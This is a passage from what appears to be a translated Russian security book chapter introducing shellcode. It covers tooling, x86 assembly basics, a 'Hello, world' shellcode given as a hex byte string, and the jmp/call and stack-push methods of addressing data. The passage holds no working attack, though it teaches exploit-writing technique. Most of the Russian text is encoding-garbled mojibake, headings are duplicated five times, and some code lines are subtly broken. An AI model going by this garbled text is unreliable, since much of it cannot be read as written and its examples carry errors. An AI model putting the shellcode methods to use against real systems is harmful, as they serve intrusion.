shell-êîä ìîæåò «çàïîðòèòü» ïàìÿòü ïðèëîæåíèÿ òàê, ÷òî îíî áóäåò ïðîäîë-
æàòü ðàáîòàòü, íî àòàêîâàòü óÿçâèìîñòü õàêåð ñìîæåò òîëüêî ïîñëå ïåðåçàã-
ðóçêè. Â ïðîìûøëåííîé ñèñòåìå î÷åðåäíàÿ ïåðåçàãðóçêà ìîæåò ïðîèçîéòè
ëèøü ñïóñòÿ íåñêîëüêî ìåñÿöåâ âî âðåìÿ çàïëàíèðîâàííîé îñòàíîâêè íà îá-
ñëóæèâàíèå èëè ïåðåõîäà íà íîâóþ âåðñèþ. Íî â íîâîé âåðñèè óÿçâèìîñòè
ìîæåò óæå è íå îêàçàòüñÿ, à, ñòàëî áûòü, õàêåð ëèøèòñÿ äîñòóïà ê êîìïüþòå-
ðàì îðãàíèçàöèè-æåðòâû.

Ñ òî÷êè çðåíèÿ áåçîïàñíîñòè ïðàâèëüíîñòü è íàäåæíîñòü shell-êîäà òàêæå
êðèòè÷íû. Â õîäå ðàçðåøåííîãî òåñòèðîâàíèÿ íà âîçìîæíîñòü ïðîíèêíîâå-
íèÿ ýòî óñëîâèå ÿâëÿåòñÿ îáÿçàòåëüíûì, ïîñêîëüêó ïîëüçîâàòåëè âðÿä ëè áó-
äóò ñ÷àñòëèâû, åñëè âî âðåìÿ òåñòèðîâàíèÿ ïðîìûøëåííàÿ ñèñòåìà èëè êðè-
òè÷åñêîå ïðèëîæåíèå «ðóõíóò».

ÈíñòðóìåíòûÈíñòðóìåíòûÈíñòðóìåíòûÈíñòðóìåíòûÈíñòðóìåíòû
Ïðè ðàçðàáîòêå shell-êîäà âàì ïîíàäîáÿòñÿ ðàçíîîáðàçíûå èíñòðóìåíòû äëÿ
íàïèñàíèÿ, êîìïèëÿöèè, ïðåîáðàçîâàíèÿ, òåñòèðîâàíèÿ è îòëàäêè. Çíàíèå
òîãî, êàê îíè óñòðîåíû, ïîëåçíî äëÿ ïîâûøåíèÿ ýôôåêòèâíîñòè ðàáîòû.
Íèæå ïðèâåäåí ïåðå÷åíü íàèáîëåå ÷àñòî óïîòðåáèìûõ èíñòðóìåíòîâ ñ óêà-
çàíèåì, ãäå íàéòè äîïîëíèòåëüíóþ èíôîðìàöèþ è ñàìè ïðîãðàììû.

� nasmnasmnasmnasmnasm – ýòîò ïàêåò ñîäåðæèò àññåìáëåð nasm è äèçàññåìáëåð ndisasm.
Ñèíòàêñèñ ÿçûêà, ïðèìåíÿåìûé â nasm, ïðîçðà÷åí è ïîòîìó áîëåå ïî-
ïóëÿðåí, ÷åì ñèíòàêñèñ, ïðåäëîæåííûé êîìïàíèåé AT&T. Ïîëó÷èòü
ïîäðîáíóþ èíôîðìàöèþ è ñêà÷àòü nasm ìîæíî ñ åãî äîìàøíåé ñòðà-
íèöû ïî àäðåñó http://nasm.sourceforge.net/.

� gdbgdbgdbgdbgdb – ýòî îòëàä÷èê GNU. Â ýòîé ãëàâå ìû áóäåì ïîëüçîâàòüñÿ èì, ãëàâ-
íûì îáðàçîì, äëÿ àíàëèçà äàìïîâ ïàìÿòè. Gdb ïîçâîëÿåò òàêæå äèçàñ-
ñåìáëèðîâàòü îòêîìïèëèðîâàííûå ôóíêöèè, äëÿ ÷åãî äîñòàòî÷íî
ââåñòè êîìàíäó disassemble <èìÿ ôóíêöèè>. Ýòî áûâàåò î÷åíü ïîëåçíî,
åñëè âû õîòèòå óçíàòü, â êàêèå ìàøèííûå êîìàíäû òðàíñëèðóåòñÿ âàø
êîä íà C. Ïîëó÷èòü ïîäðîáíóþ èíôîðìàöèþ è ñêà÷àòü gdb ìîæíî
ñ ñàéòà GNU ïî àäðåñó www.gnu.org/software/binutils/.

� objdumpobjdumpobjdumpobjdumpobjdump – ýòî èíñòðóìåíò äëÿ äèçàññåìáëèðîâàíèÿ îáúåêòíûõ ôàé-
ëîâ è ïîëó÷åíèÿ èç íèõ âàæíîé èíôîðìàöèè. Õîòÿ ìû è íå áóäåì ðàñ-
ñìàòðèâàòü èñïîëüçîâàíèå objdump â ýòîé êíèãå, ðåêîìåíäóåì îáðà-
òèòü íà ýòó ïðîãðàììó âíèìàíèå, òàê êàê îíà î÷åíü ïîëåçíà ïðè ðàçðà-
áîòêå shell-êîäà. Ïîëó÷èòü ïîäðîáíóþ èíôîðìàöèþ è ñêà÷àòü objdump
ìîæíî ñ ñàéòà GNU ïî àäðåñó www.gnu.org/software/binutils/.

� ktracektracektracektracektrace – ýòî óòèëèòà, èìåþùàÿñÿ òîëüêî äëÿ ñèñòåì *BSD. Îíà ïîçâîëÿ-
åò òðàññèðîâàòü âûïîëíåíèå ñèñòåìíûõ âûçîâîâ. Â õîäå ðàáîòû ñîçäà-

Что такое shell�код?
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åòñÿ ôàéë ktrace.out, êîòîðûé ìîæíî ïðîñìîòðåòü óòèëèòîé kdump è
óâèäåòü âñå ñèñòåìíûå âûçîâû, âûïîëíÿâøèåñÿ ïðîöåññîì. Ýòî áûâà-
åò î÷åíü ïîëåçíî ïðè îòëàäêå shell-êîäà, òàê êàê ktrace ïîêàçûâàåò òàê-
æå, êîãäà è ïî÷åìó ñèñòåìíûé âûçîâ çàâåðøèëñÿ ñ îøèáêîé. Áîëåå ïîä-
ðîáíóþ èíôîðìàöèþ î ktrace â áîëüøèíñòâå ñèñòåì *BSD ìîæíî ïî-
ëó÷èòü, íàáðàâ êîìàíäó man ktrace.

� stracestracestracestracestrace – ýòà ïðîãðàììà î÷åíü ïîõîæà íà ktrace, îíà òîæå ïîçâîëÿåò òðàñ-
ñèðîâàòü âñå ñèñòåìíûå âûçîâû. Â áîëüøèíñòâå äèñòðèáóòèâîâ Linux
strace óñòàíàâëèâàåòñÿ ïî óìîë÷àíèþ. Èìåþòñÿ åå âåðñèè è äëÿ äðóãèõ
îïåðàöèîííûõ ñèñòåì, íàïðèìåð, IRIX. Äîìàøíÿÿ ñòðàíèöà strace íàõî-
äèòñÿ ïî  àäðåñó www.l iacs.nl/~wichert/strace/.

� readelfreadelfreadelfreadelfreadelf – ýòî ïðîãðàììà, êîòîðàÿ ïîçâîëÿåò ïîëó÷èòü ðàçíîîáðàçíóþ
èíôîðìàöèþ î äâîè÷íîì ôàéëå â ôîðìàòå ELF. Â ýòîé ãëàâå ìû áóäåì
èñïîëüçîâàòü readelf äëÿ îòûñêàíèÿ àäðåñà ïåðåìåííîé, êîòîðûé çàòåì
áóäåò âêëþ÷åí â shell-êîä. Ýòà ïðîãðàììà, êàê è objdump, ÿâëÿåòñÿ
÷àñòüþ ïàêåòà bintools, ðàñïðîñòðàíÿåìîãî GNU. Ïîëó÷èòü ïîäðîáíóþ
èíôîðìàöèþ îá ýòîì ïàêåòå ìîæíî ïî àäðåñó www.gnu.org/software/
binutils/.

ßçûê àññåìáëåðàßçûê àññåìáëåðàßçûê àññåìáëåðàßçûê àññåìáëåðàßçûê àññåìáëåðà
Ó êàæäîãî ïðîöåññîðà åñòü ñâîé íàáîð êîìàíä, èç êîòîðûõ ñîñòîèò èñïîëíÿå-
ìûé êîä. Ïîñêîëüêó íàáîð êîìàíä çàâèñèò îò ïðîöåññîðà, òî, êîíå÷íî, íåëüçÿ
ïîäàòü íà âõîä àññåìáëåðà äëÿ ïðîöåññîðà Intel Pentium èñõîäíûé òåêñò, íàïè-
ñàííûé ñ èñïîëüçîâàíèåì êîìàíä Sun Sparc. Ïîñêîëüêó àññåìáëåð – ýòî ÿçûê
î÷åíü íèçêîãî óðîâíÿ, òî íà íåì ìîæíî ïèñàòü âåñüìà êîìïàêòíûå è áûñò-
ðûå ïðîãðàììû. Â ýòîé ãëàâå ìû ïðîäåìîíñòðèðóåì èñïîëíÿåìûé êîä èç
23 áàéòîâ, êîòîðûé çàãðóæàåò è èñïîëíÿåò ïðîãðàììó. Òîò æå êîä, íàïèñàí-
íûé íà C, áûë áû â ñîòíè ðàç îáúåìíåå èç-çà äîïîëíèòåëüíîé èíôîðìàöèè,
êîòîðóþ âêëþ÷àåò êîìïèëÿòîð.

Îòìåòèì òàêæå, ÷òî ÿäðî áîëüøèíñòâà îïåðàöèîííûõ ñèñòåì ÷àñòè÷íî
íàïèñàíî íà àññåìáëåðå. Çàãëÿíóâ â èñõîäíûå òåêñòû Linux èëè FreeBSD, âû
îáíàðóæèòå íåìàëî ñèñòåìíûõ âûçîâîâ, ðåàëèçîâàííûõ íà ýòîì ÿçûêå. Ïðî-
ãðàììû, íàïèñàííûå íà àññåìáëåðå, î÷åíü ýôôåêòèâíû, íî ó êàæäîé ìåäàëè
äâå ñòîðîíû. Ðàçîáðàòüñÿ â áîëüøîé àññåìáëåðíîé ïðîãðàììå íåëåãêî. Êðî-
ìå òîãî, â ñèëó çàâèñèìîñòè îò ïðîöåññîðà, ïåðåíåñòè òàêóþ ïðîãðàììó íà
äðóãóþ ïëàòôîðìó ïðàêòè÷åñêè íåâîçìîæíî. Òðóäíî äàæå ïåðåíåñòè àññåì-
áëåðíóþ ïðîãðàììó íà äðóãóþ îïåðàöèîííóþ ñèñòåìó, ðàáîòàþùóþ íà òîé
æå àïïàðàòíîé ïëàòôîðìå. Ñâÿçàíî ýòî ñ òåì, ÷òî â àññåìáëåðíîì êîäå ÷àñ-
òî âñòðå÷àþòñÿ ñèñòåìíûå âûçîâû, òî åñòü îáðàùåíèÿ ê ôóíêöèÿì, ïðåäî-
ñòàâëÿåìûì îïåðàöèîííîé ñèñòåìîé, à îíè äëÿ âñåõ ñèñòåì ðàçíûå.
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Ïîíÿòü òåêñò íà ÿçûêå àññåìáëåðà íåòðóäíî, à íàáîðû êîìàíäû õîðîøî äî-
êóìåíòèðîâàíû. Â ïðèìåðå 8.1 ïîêàçàíî, êàê íà àññåìáëåðå îðãàíèçóåòñÿ
öèêë.

Пример 8.1.Пример 8.1.Пример 8.1.Пример 8.1.Пример 8.1. Цикл в языке ассемблера
1 start:

2 xor ecx,ecx

3 mov ecx,10

4 loop start

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ÿçûêå àññåìáëåðà áëîê êîäà ìîæíî ïîìåòèòü èäåíòèôèêàòîðîì-ìåò-

êîé. Òàê, â ñòðîêå 1 íàõîäèòñÿ ìåòêà start.
� Â ñòðîêå 2 âûïîëíÿåòñÿ êîìàíäà XOR ìåæäó ðåãèñòðîì ECX è èì ñà-

ìèì. Â ðåçóëüòàòå çíà÷åíèå â ðåãèñòðå ECX îáíóëÿåòñÿ. Ýòî ñàìûé ýô-
ôåêòèâíûé ñïîñîá î÷èñòèòü ðåãèñòð ïåðåä íà÷àëîì èñïîëüçîâàíèÿ.

� Â ñòðîêå 3 â ðåãèñòð ECX çàïèñûâàåòñÿ çíà÷åíèå 10.
� Â ñòðîêå 4 âûïîëíÿåòñÿ êîìàíäà loop. Îíà âû÷èòàåò 1 èç çíà÷åíèÿ, íàõî-

äÿùåãîñÿ â ðåãèñòðå ECX. Åñëè ðåçóëüòàò îòëè÷åí îò íóëÿ, òî ïðîèçâî-
äèòñÿ ïåðåõîä íà ìåòêó, çàäàííóþ â êà÷åñòâå îïåðàíäà.

Î÷åíü ÷àñòî â ïðîãðàììàõ íà ÿçûêå àññåìáëåðà èñïîëüçóåòñÿ êîìàíäà ïåðå-
õîäà jmp (ïðèìåð 8.2). Ìîæíî ïåðåéòè íà óêàçàííóþ ìåòêó èëè ïî àäðåñó,
îòñòîÿùåìó îò çàäàííîãî íà óêàçàííîå ñìåùåíèå.

Пример 8.2. Пример 8.2. Пример 8.2. Пример 8.2. Пример 8.2. Переход в языке ассемблера
1 jmp start

2 jmp 0x2

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ïåðâîé êîìàíäå ïðîèçâîäèòñÿ ïåðåõîä ïî àäðåñó, ïîìå÷åííîìó ìåò-

êîé start. Âî âòîðîì ñëó÷àå ìû ïåðåõîäèì ïî àäðåñó, îòñòîÿùåìó íà äâà
áàéòà îò ñàìîé êîìàíäû jmp. Ïîëüçîâàòüñÿ ìåòêàìè óäîáíåå, òàê êàê
àññåìáëåð ñàì âû÷èñëÿåò ñìåùåíèå, ÷òî ýêîíîìèò íåìàëî âðåìåíè.

×òîáû ïðåîáðàçîâàòü òåêñò, íàïèñàííûé íà ÿçûêå àññåìáëåðà, â èñïîëíÿå-
ìóþ ïðîãðàììó, íåîáõîäèì àññåìáëåð. Îí ïðåîáðàçóåò èñõîäíûé òåêñò â ìà-
øèííûå êîìàíäû. Åùå ïîíàäîáèòñÿ êîìïîíîâùèê, íàïðèìåð, ld, êîòîðûé
ïðåâðàòèò ïîëó÷åííûé äâîè÷íûé ôàéë â èñïîëíÿåìûé îáúåêò. Íèæå ïðèâå-
äåíà ïðîãðàììà «Hello, world» (Çäðàâñòâóé, ìèð), íàïèñàííàÿ íà C.

1 int main() {

2   write(1, "Hello, world !\n", 15);

3   exit(0);

4 }

Что такое shell�код?
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À âîò òà æå ïðîãðàììà íà ÿçûêå àññåìáëåðà.

Пример 8.3. Пример 8.3. Пример 8.3. Пример 8.3. Пример 8.3. Ассемблерная версия программы на C:
 1 global _start

 2 _start:

 3 xor eax, eax

 4
 5 jmp short string

 6 code:

 7 pop esi

 8 push byte 15

 9 push esi

10 push byte 1

11 mov al,4

12 push eax

13 int 0x80

14
15 xor eax,eax

16 push eax

17 push eax

18 mov al,1

19 int 0x80

20
21 string:

22 call code

23 db 'Hello, world !',0x0a

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ïîñêîëüêó ìû õîòèì ïîëó÷èòü èñïîëíÿåìûé ôàéë â ñèñòåìå FreeBSD, òî äî-
áàâèëè ìåòêó _start â íà÷àëî ïðîãðàììû. Â ýòîé ñèñòåìå èñïîëíÿåìûå ôàéëû
ñîçäàþòñÿ â ôîðìàòå ELF, ïîýòîìó êîìïîíîâùèê èùåò ñèìâîë _start â îáú-
åêòíîì ôàéëå, ñ÷èòàÿ, ÷òî ýòî àäðåñ, ñ êîòîðîãî äîëæíî íà÷èíàòüñÿ èñïîë-
íåíèå. Ïîêà íå ñòàðàéòåñü ðàçîáðàòüñÿ â îñòàëüíîì êîäå, ìû âñå îáúÿñíèì
ïîçäíåå.

×òîáû ïîëó÷èòü èç àññåìáëåðíîãî òåêñòà èñïîëíÿåìóþ ïðîãðàììó, ñíà÷àëà
íàäî âîñïîëüçîâàòüñÿ àññåìáëåðîì nasm äëÿ ñîçäàíèÿ îáúåêòíîãî ôàéëà,
à çàòåì îáðàáîòàòü åãî êîìïîíîâùèêîì ld:

bash-2.06b$ nasm -f elf hello.asm
bash-2.06b$ ld -s -o hello hello.o

Nasm ÷èòàåò àññåìáëåðíûé êîä è ãåíåðèðóåò îáúåêòíûé ôàéë â ôîðìàòå
ELF, ñîäåðæàùèé ìàøèííûå êîìàíäû. Îáúåêòíûé ôàéë, èìåþùèé ïî óìîë-
÷àíèþ ðàñøèðåíèå .o, ïîäàåòñÿ íà âõîä êîìïîíîâùèêà, êîòîðûé ïðåîáðàçóåò
åãî â èñïîëíÿåìóþ ïðîãðàììó ñ èìåíåì hello. Åñëè çàïóñòèòü åå, òî âû óâèäè-
òå ñëåäóþùèé ðåçóëüòàò:
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bash-2.06b$ ./hello
Hello, world !
bash-2.06b$

Â ñëåäóþùåì ïðèìåðå èñïîëüçîâàí äðóãîé ìåòîä òåñòèðîâàíèÿ shell-êîäà
íà ÿçûêå àññåìáëåðà. Íàïèñàííàÿ íà C ïðîãðàììà ñ÷èòûâàåò ñîçäàííûé nasm
îáúåêòíûé ôàéë â ïàìÿòü è èñïîëíÿåò åãî, êàê áóäòî ýòî ôóíêöèÿ. À ïî÷åìó
ïðîñòî íå âîñïîëüçîâàòüñÿ êîìïîíîâùèêîì, êîòîðûé ñîçäàñò èñïîëíÿåìûé
ôàéë? Ïîòîìó ÷òî êîìïîíîâùèê âêëþ÷àåò â ôàéë ìíîãî äîïîëíèòåëüíîé
èíôîðìàöèè, à ýòî óñëîæíÿåò ïðîöåäóðó ïðåîáðàçîâàíèÿ shell-êîäà â ñòðîêó,
êîòîðóþ ìîæíî áûëî áû âñòàâèòü â ïðîãðàììó íà C. Êàê ìû óâèäèì íèæå,
òàêîå ïðåäñòàâëåíèå êîäà èñêëþ÷èòåëüíî âàæíî.

Âçãëÿíèòå, íàñêîëüêî îòëè÷àþòñÿ ïî ðàçìåðàì èñïîëíÿåìûå ôàéëû ïðî-
ãðàìì, íàïèñàííûõ íà C è íà àññåìáëåðå:

 1 bash-2.06b$ gcc -o hello_world hello_world.c

 2 bash-2.06b$ ./hello_world

 3 Hello, world !

 4 bash-2.06b$ ls -al hello_world

 5 -rwxr-xr-x 1 nielsh wheel 4558 Oct  2 15:31 hello_world
 6 bash-2.06b$ vi hello.asm

 7 bash-2.06b$ ls

 8 bash-2.06b$ nasm -f elf hello.asm

 9 bash-2.06b$ ld -s -o hello hello.o

10 bash-2.06b$ ls -al hello

11 -rwxr-xr-x 1 nielsh wheel 436 Oct  2 15:33 hello

Ðàçíèöà, êàê âèäèòå, îãðîìíà. Ðåçóëüòàò êîìïèëÿöèè ïðîãðàììû íà C îêà-
çàëñÿ â 10 ðàç äëèííåå. Åñëè íóæíî ïîëó÷èòü òîëüêî ñàìè ìàøèííûå êîìàí-
äû, êîòîðûå ìîãóò áûòü ïðåîáðàçîâàíû â ñòðîêó ñïåöèàëüíîé óòèëèòîé è çà-
òåì âûïîëíåíû, òî ïîíàäîáÿòñÿ äðóãèå ïðîãðàììû:

 1 bash-2.06b$ nasm -o hello hello.asm

 2 bash-2.06b$ s_proc -p hello

 3
 4 /* Ñëåäóþùèé shell-êîä çàíèìàåò 43 áàéòà */

 5
 6 char shellcode[] =

 7 "\x31\xc0\xeb\x13\x5e\x6a\x0f\x56\x6a\x01\xb0\x04\x50\xcd\x80"

 8 "\x31\xc0\x50\x50\xb0\x01\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65"

 9 "\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x20\x21\x0a";

10
11
12 bash-2.06b$ nasm -o hello hello.asm
13 bash-2.06b$ ls -al hello

14 -rwxr-xr-x 1 nielsh wheel 43 Oct  2 15:42 hello

Что такое shell�код?
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15 bash-2.06b$ s_proc -p hello
16
17 char shellcode[] =

18 "\x31\xc0\xeb\x13\x5e\x6a\x0f\x56\x6a\x01\xb0\x04\x50\xcd\x80"

19 "\x31\xc0\x50\x50\xb0\x01\xcd\x80\xe8\xe8\xff\xff\xff\x48\x65"

20 "\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x20\x21\x0a";

21
22
23 bash-2.06b$ s_proc -e hello
24 Calling code...

25 Hello, world !

26 bash-2.06b$

Òàêèì îáðàçîì, îêîí÷àòåëüíûé shell-êîä çàíèìàåò 43 áàéòà. Ìû ìîæåì
ðàñïå÷àòàòü åãî óòèëèòîé s_proc ñ ôëàãîì -p è âûïîëíèòü ñ ïîìîùüþ òîé æå
óòèëèòû, íî ñ ôëàãîì -e. Ïîäðîáíåå î òîì, êàê ïîëüçîâàòüñÿ óòèëèòîé s_proc,
âû óçíàåòå â ýòîé ãëàâå íèæå.

Àññåìáëåð â Windows è UNIXÀññåìáëåð â Windows è UNIXÀññåìáëåð â Windows è UNIXÀññåìáëåð â Windows è UNIXÀññåìáëåð â Windows è UNIX

Â ñèñòåìå Windows shell-êîä ïèøåòñÿ èíà÷å, ÷åì â UNIX. Åñëè â UNIX äîñòà-
òî÷íî ïðîñòî ñäåëàòü ñèñòåìíûé âûçîâ, òî â Windows ïðèõîäèòñÿ ïîëüçî-
âàòüñÿ ôóíêöèÿìè, ýêñïîðòèðóåìûìè èç áèáëèîòåê. Ýòî îçíà÷àåò, ÷òî ïåðåä
âûçîâîì ôóíêöèè íåîáõîäèìî ïîëó÷èòü óêàçàòåëü íà íåå; îáðàòèòüñÿ ê ôóíê-
öèè ïî åå íîìåðó, êàê ýòî ñäåëàíî â UNIX, íå ïîëó÷èòñÿ.

«Çàøèâàòü» àäðåñà ôóíêöèé â shell-êîä äëÿ Windows ìîæíî, íî íå ðåêî-
ìåíäóåòñÿ. Ìàëåéøåå èçìåíåíèå êîíôèãóðàöèè ñèñòåìû ìîæåò ïðèâåñòè ê
íåïðàâèëüíîé ðàáîòå shell-êîäà, à, çíà÷èò, è âñåãî ýêñïëîéòà. Àâòîðû shell-
êîäà äëÿ Windows ïðèáåãàþò ê ðàçíîîáðàçíûì óëîâêàì, ÷òîáû ïîëó÷èòü àä-
ðåñà ôóíêöèé äèíàìè÷åñêè. Ïîýòîìó ïèñàòü shell-êîä äëÿ Windows ñëîæíåå è
ïîëó÷àåòñÿ îí áîëåå ãðîìîçäêèì.

Проблема адресации

Îáû÷íûå ïðîãðàììû îáðàùàþòñÿ ê ïåðåìåííûì è ôóíêöèÿì ñ ïîìîùüþ
óêàçàòåëÿ, êîòîðûé âû÷èñëÿåòñÿ êîìïèëÿòîðîì èëè âîçâðàùàåòñÿ ôóíêöèåé,
íàïðèìåð, malloc (ýòà ôóíêöèÿ âûäåëÿåò îáëàñòü ïàìÿòè è âîçâðàùàåò óêàçà-
òåëü íà íåå). Â shell-êîäå òîæå ÷àñòî âîçíèêàåò íåîáõîäèìîñòü ñîñëàòüñÿ íà
ñòðîêó èëè êàêóþ-íèáóäü äðóãóþ ïåðåìåííóþ. Íàïðèìåð, åñëè âû ïèøåòå
shell-êîä äëÿ âûïîëíåíèÿ íåêîòîðîé ïðîãðàììû ñ ïîìîùüþ ñèñòåìíîãî âû-
çîâà exec, òî ïîíàäîáèòñÿ óêàçàòåëü íà ñòðîêó, ñîäåðæàùóþ èìÿ ýòîé ïðîãðàì-
ìû. Ïîñêîëüêó shell-êîä âíåäðÿåòñÿ â ïðîãðàììó âî âðåìÿ âûïîëíåíèÿ, òî
íåîáõîäèìî ñòàòè÷åñêè îïðåäåëèòü èñïîëüçóåìûå â íåì àäðåñà ïàìÿòè. Òàê,
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åñëè êîä ñîäåðæèò ñòðîêó, òî âû äîëæíû çíàòü, ãäå îíà íàõîäèòñÿ, èíà÷å êàê
ê íåé îáðàòèòüñÿ?

Ýòî ñåðüåçíàÿ ïðîáëåìà, âåäü åñëè âû õîòèòå èñïîëüçîâàòü â shell-êîäå ñè-
ñòåìíûå âûçîâû, òðåáóþùèå àðãóìåíòîâ, òî íàäî çíàòü, ãäå ýòè àðãóìåíòû
íàéòè. Ïåðâîå ðåøåíèå ñîñòîèò â òîì, ÷òîáû ðàçìåñòèòü äàííûå â ñòåêå è
îáðàùàòüñÿ ê íèì ñ ïîìîùüþ êîìàíä call è jmp. Âòîðîé ïîäõîä ïðåäïîëàãàåò
çàòàëêèâàíèå àðãóìåíòîâ â ñòåê è çàïîìèíàíèå óêàçàòåëÿ ñòåêà (ðåãèñòð ESP)
äëÿ ïîñëåäóþùåãî îáðàùåíèÿ ê íèì. Íèæå ìû îáñóäèì îáà âàðèàíòà.

Ïðèìåíåíèå êîìàíä call è jmpÏðèìåíåíèå êîìàíä call è jmpÏðèìåíåíèå êîìàíä call è jmpÏðèìåíåíèå êîìàíä call è jmpÏðèìåíåíèå êîìàíä call è jmp
Êîìàíäà call äëÿ ïðîöåññîðîâ Intel ïîõîæà íà jmp, íî èìååò è ñóùåñòâåííîå
îòëè÷èå. Ïðè âûïîëíåíèè call ïðîöåññ ïîìåùàåò â ñòåê òåêóùåå çíà÷åíèå
ñ÷åò÷èêà êîìàíä (ðåãèñòð EIP), à çàòåì âûïîëíÿåò ïåðåõîä ïî àäðåñó, óêàçàí-
íîìó â êà÷åñòâå îïåðàíäà (îáû÷íî ýòî àäðåñ ôóíêöèè). Âûçâàííàÿ ôóíêöèÿ
â êàêîé-òî ìîìåíò âûïîëíÿåò êîìàíäó ret, ÷òîáû ïðîäîëæèòü âûïîëíåíèå
ïðîãðàììû ñ òîé òî÷êè, ãäå îíà áûëà âûçâàíà. Êîìàíäà ret èçâëåêàåò èç ñòåêà
àäðåñ âîçâðàòà, ïîìåùåííûé òóäà êîìàíäîé call, è ïåðåõîäèò ïî íåìó. Â ïðè-
ìåðå 8.4 ïîêàçàíî, êàê èñïîëüçóþòñÿ êîìàíäû call è ret â ÿçûêå àññåìáëåðà.

Пример 8.4. Пример 8.4. Пример 8.4. Пример 8.4. Пример 8.4. Команды call и ret
1 main:
2
3 call func1
4 ...
5 ...
6 func1:
7 ...
8 ret

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Êîãäà â ñòðîêå 3 âûçûâàåòñÿ ôóíêöèÿ func1, ñ÷åò÷èê êîìàíä EIP ïîìå-

ùàåòñÿ â ñòåê è ïðîèçâîäèòñÿ ïåðåõîä ïî àäðåñó func1.
� Êîãäà ôóíêöèÿ func1 çàâåðøèò ñâîþ ðàáîòó, îíà âûïîëíèò êîìàíäó ret,

êîòîðàÿ èçâëå÷åò àäðåñ âîçâðàòà èç ñòåêà è ïåðåéäåò ïî íåìó. Â ðåçóëüòà-
òå ïðîãðàììà ïðîäîëæèò âûïîëíåíèå ñî ñòðîêè 4.

Íó ÷òî æ, ïîðà ïåðåõîäèòü ê ïðàêòè÷åñêîìó ïðèìåðó. Ïðåäïîëîæèì, ÷òî
ìû õîòèì íàïèñàòü shell-êîä, â êîòîðîì èñïîëüçóåòñÿ ñèñòåìíûé âûçîâ, òðå-
áóþùèé óêàçàòåëÿ íà ñòðîêó â êà÷åñòâå àðãóìåíòà. Ïóñòü ýòî áóäåò ñòðîêà
Burb. Ïîëó÷èòü åå àäðåñ â ïàìÿòè ïîçâîëèò êîä èç ïðèìåðà 8.5.

Пример 8.5.Пример 8.5.Пример 8.5.Пример 8.5.Пример 8.5. Получение адреса данных с помощью команды jmp
1 jmp short data

2 code;

Что такое shell�код?
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3 pop esi

4 ...

5 data:

6 call code

7 db 'Burb'

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 1 ìû âûïîëíÿåì ïåðåõîä íà ìåòêó data, ãäå âûçûâàåì ôóíê-

öèþ code (ñòðîêà 6). Â ðåçóëüòàòå àäðåñ ñëåäóþùåé êîìàíäû, à ýòî íà
ñàìîì äåëå àäðåñ íà÷àëà ñòðîêè Burb, ïîìåùàåòñÿ â ñòåê;

� Â ñòðîêå 3 ìû èçâëåêàåì ýòîò àäðåñ èç ñòåêà â ðåãèñòð ESI. Òåïåðü â ESI
íàõîäèòñÿ óêàçàòåëü íà íàøè äàííûå.

Âîçìîæíî, âû çàäàåòå ñåáå âîïðîñ: «À îòêóäà êîìàíäà jmp çíàåò, ãäå íàõî-
äÿòñÿ äàííûå?» Äåëî â òîì, ÷òî jmp è call îïåðèðóþò îòíîñèòåëüíûìè ñìå-
ùåíèÿìè. Àññåìáëåð ïðåîáðàçóåò êîìàíäó «jmp short data» â ÷òî-òî òèïà
«jmp short 0x4». Çäåñü 0x4 – ýòî ñìåùåíèå öåëåâîãî àäðåñà îò òåêóùåãî, âû-
ðàæåííîå â áàéòàõ.

Çàòàëêèâàíèå àðãóìåíòîâ â ñòåêÇàòàëêèâàíèå àðãóìåíòîâ â ñòåêÇàòàëêèâàíèå àðãóìåíòîâ â ñòåêÇàòàëêèâàíèå àðãóìåíòîâ â ñòåêÇàòàëêèâàíèå àðãóìåíòîâ â ñòåê
Èñïîëüçîâàíèå êîìàíä jmp è call äëÿ ïîëó÷åíèÿ àäðåñà äàííûõ â ïàìÿòè ïðå-
êðàñíî ðàáîòàåò, íî shell-êîä ïîëó÷àåòñÿ äîâîëüíî ãðîìîçäêèì. Åñëè âàì
âñòðåòèòñÿ óÿçâèìàÿ ïðîãðàììà, â êîòîðîé ïðèìåíÿþòñÿ î÷åíü ìàëåíüêèå
áóôåðà, òî âû ïîéìåòå, ÷òî ÷åì shell-êîä ìåíüøå, òåì ëó÷øå. Ïîìèìî
óìåíüøåíèÿ ðàçìåðà, ìåòîä çàòàëêèâàíèÿ àðãóìåíòîâ â ñòåê åùå è ïîâûøàåò
áûñòðîäåéñòâèå shell-êîäà.

Ñíîâà ïðåäïîëîæèì, ÷òî àðãóìåíòîì ñèñòåìíîãî âûçîâà ÿâëÿåòñÿ óêàçà-
òåëü íà ñòðîêó, è ïóñòü ýòà ñòðîêà ðàâíà Burb. Âçãëÿíèòå íà ñëåäóþùèé êîä:

1 push 0x42727542

2 mov esi,esp

Â ñòðîêå 1 ñòðîêà Burb ïîìåùåíà â ñòåê. Ïîñêîëüêó ñòåê ðàñòåò îò ñòàðøèõ
àäðåñîâ ê ìëàäøèì, òî ïîðÿäîê áàéòîâ â ñòðîêå èçìåíåí íà ïðîòèâîïîëîæ-
íûé (bruB), è êàæäûé áàéò ïðåäñòàâëåí â 16-ðè÷íîì âèäå. ×òîáû óçíàòü
16-ðè÷íûå çíà÷åíèÿ ASCII-ñèìâîëîâ, îáðàòèòåñü ê ñòðàíèöå ðóêîâîäñòâà
man ascii. Â ñòðîêå 2 óêàçàòåëü ñòåêà (ESP), ñîõðàíÿåòñÿ â ðåãèñòðå ESI. Òåïåðü
ESI óêàçûâàåò íà ñòðîêó Burb.

Îòìåòèì, ÷òî êîìàíäà push ïîçâîëÿåò çà îäíó îïåðàöèþ ïîìåñòèòü â ñòåê
îäèí, äâà èëè ÷åòûðå áàéòà. Åñëè íóæíî ïîìåñòèòü, ñêàæåì, ñòðîêó «Morning!»,
ïðèäåòñÿ âûïîëíèòü push äâàæäû:
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1 push 0x696e6721 ; !gni

2 push 0x6e726f4d ; nroM

3 mov esi,esp

×òîáû ïîìåñòèòü â ñòåê îäèí áàéò, íóæíî äîáàâèòü ìîäèôèêàòîð byte.
